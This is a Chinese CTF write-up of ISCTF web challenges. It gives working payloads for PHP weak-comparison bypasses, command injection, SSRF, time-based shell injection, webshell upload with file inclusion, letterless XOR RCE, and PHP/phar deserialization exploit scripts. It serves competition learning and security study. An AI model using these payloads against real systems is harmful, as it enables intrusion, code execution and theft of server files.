直到现在才想起自己之前的题解只发到了个人博客没有发到CSDN上,发一下自己的博客链接,欢迎各位大佬来交流!
EASY-PHP01
思路:主要是考察php基础,查看源码让给hint,直接/?hint=1
打开发现一个弱比较一个强比较,用post传递ISCTF=114514a加字母绕过得到flag
EASY-PHP02
?NAME=1接着就是flag1,md5的弱类型比较,存在漏洞用0e表示的话可以绕过
故payload为?NAME=1&P0ST1=0&P0ST2=240610708
得到flag1
GET1又是个弱类型比较,直接GET1=a就可以绕过,判断isnumeric也可以加字母绕过,故POST只需要传入
GET1=a&GET2=699a
即可得到
得到的f2通过源码可以发现是进行了base64加密,拿去解密
%u0030%u0065%u0066%u0062%u002d%u0031%u0033%u0036%u0039%u002d%u0034%u0036%u0031%u0033%u002d%u0061%u0030%u0033%u0038%u002d%u0066%u0034%u0065%u0032%u0030%u0031%u0061%u0037%u0063%u0061%u0030%u0037%u007d
拿去hex解密得到后半段,f1也是hex,直接用在线工具解密即可
ISCTF{37470efb-1369-4613-a038-f4e201a7ca07}
FakeWeb
打开网址发现要进行跳转,直接抓包得到flag
<meta http-equiv="refresh" content="0;url=https://www.bluesharkinfo.com">//跳转地址 <!-- ISCTF{b9e6e2a5-8230-40a9-97de-883fb284def2} -->
simplephp
前面是正则匹配的规则,#代表/,两个\代表一个\
故payload:?str=/\\\\/Ilikeisctf/
一个点绕过 is_numeric
在数字的前面加上%09 %0a %0b %0c %0d任意一个都可以使其为真不影响判断。
参考ctfshow web115原题
trim不会过滤/f
?str=%22\\\\/Ilikeisctf%22&num=%0C36&cmd=system(%27cat%20../../../../flag%27);
curl
需要从本地访问,查看源码发现可以用urls直接访问即可,唯一一个一血呜呜呜
payload:?urls=localhost/flag.php
eazy-onlineshell
思路:访问rce提示让我们看看backup,访问www.zip得到Py源码
需要用post提交然后传入action
执行sleep 5发现有影响(注意前面后面加个东西),但是试了下curl啥的都没反应
说明可以进行时间注入,直接用if进行爆破跑出flag即可
act=1if [ $(head -c 43 flag) == "ISCTF{142b7761-dab6-46a1-8659-1a7567c91134§1§" ]; then sleep 100; else echo "String1 and String2 are not equal."; fi1
crazy-onlineshell
同上
easy_upload
首先访问www.rar(比赛的时候试了www.zip,index.php.bak等其他的加密,已经气死了),得到源码可以发现了过滤了哪些字符
<?php error_reporting(0); header("Content-Type:text/html;charset=utf-8"); $file = $_GET['file']; if(isset($file)){ if (preg_match("/flag|\.\.|\/\//i", $file)) { echo "no hack"; exit(); } include $file; }else{ include("upload.php"); } ?>
有文件包含,如果说能上传一个文件就可以直接访问,故进行文件上传
Content-Disposition: form-data; name="file"; filename="1.jpg" Content-Type: image/jpeg <?=system("cat /f*");?>
然后文件包含,payload如下:
index.php?file=uplO4d/1.jpg
傻柱
(比赛的时候没有跑出来,是否放弃跑其他数据库的时候选择了Y,导致没出,害)
访问/login.php进入登陆发现是sql注入,直接上sqlmap当脚本小子,判断出是UA注入,然后直接读数据即可
sqlmap参数写
--level 5 --dump最后读出来就行了
咦 这个密码 怎么怪怪的
这个分段,猜测栅栏密码,总共5部分,key为5
得到
JFJUGVCGPNAF6M3BON4V6QSBKNCTGMRBPU======
有等号,然后猜测base,试了下base32得解
ISCTF{@_3asy_BASE32!}
猫和老鼠
一道反序列化加文件包含的题目,重点是反序列化,只要进入tostring就可以通过改变$v进行文件包含,但是在析构函数的时候$a的值,所以我是通过令$b指向$a的地址,那么通过改变$b则可改变$a,从而调用tostring,后续就是一个文件包含,直接用php://filter读取flag.php即可得到,exp如下
<?php class mouse { public $v="php://filter/read=convert.base64-encode/resource=flag.php"; public function __toString() { echo "Good. You caught the mouse:"; include($this->v); } } class cat { public $a; public $b; public $c; /*public function __construct() { $this->b = &$this->a; $this->c = new mouse(); }*/ public function __destruct(){ $this->dog(); $this->b = $this->c; die($this->a); } public function dog() { $this->a = "I'm a vicious dog, Kitty"; } } $a = new cat(); $a->b = & $a->a; $a->c = new mouse(); echo serialize($a); ?>
rce?
主要考察了无字符rce这个点,需要构造字母来进行rce,参考一下p神的文章
一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)
然后因为前面有了echo了,所以直接构造cat flag
这里我才用的是异或构造
(""^"{{{|``")(""^"``| /````");
然后再进行url编码如下
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%0c%01%07"^"%60%60%7c%20%2f%60%60%60%60");
得到flag
upload
试了半天才发现给了源码=-=
白盒测试,index.php主要是上传文件,重点在class.php
一直以为是这一串$this->ext = end(explode(".", $_FILES["file"]["name"]));
进行后缀绕过,所有方法都试过了发现是第五空间原题,一个反序列化
能够用 check_img 的 file_exists 触发 phar 反序列化,进而触发 upload 的 wakeup 读取
exp:
exp:```<?php class upload { public $filename="/flag"; } $p = new upload(); $phar = new Phar("test.phar"); $phar->startBuffering(); phar->setStub("<?php __HALT_COMPILER();?>"); $phar->setMetadata($p); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
改后缀为png上传直接访问?img_name=phar:///var/www/html/upoload/test.png得到flag